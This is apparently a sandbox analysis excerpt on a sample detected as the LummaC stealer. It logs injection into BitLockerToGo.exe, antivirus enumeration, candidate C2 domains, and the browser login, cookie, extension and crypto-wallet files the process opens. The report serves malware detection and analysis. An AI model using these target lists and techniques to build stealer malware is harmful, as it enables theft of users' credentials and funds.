Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: acceptabledcooeprs.shop
Source: file.exe, 00000000.00000002.1880889294.000000C00027C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stiffraspyofkwsl.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 340000			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 582008			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 1612, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000002.00000002.2006236962.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: BitLockerToGo.exe, 00000002.00000002.2006236962.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: BitLockerToGo.exe, 00000002.00000002.2006236962.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000002.00000002.2006236962.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000002.00000002.2006236962.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: BitLockerToGo.exe, 00000002.00000002.2006236962.000000000088C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: BitLockerToGo.exe, 00000002.00000002.2006236962.0000000000848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000002.00000003.1895526055.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "keystore"

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
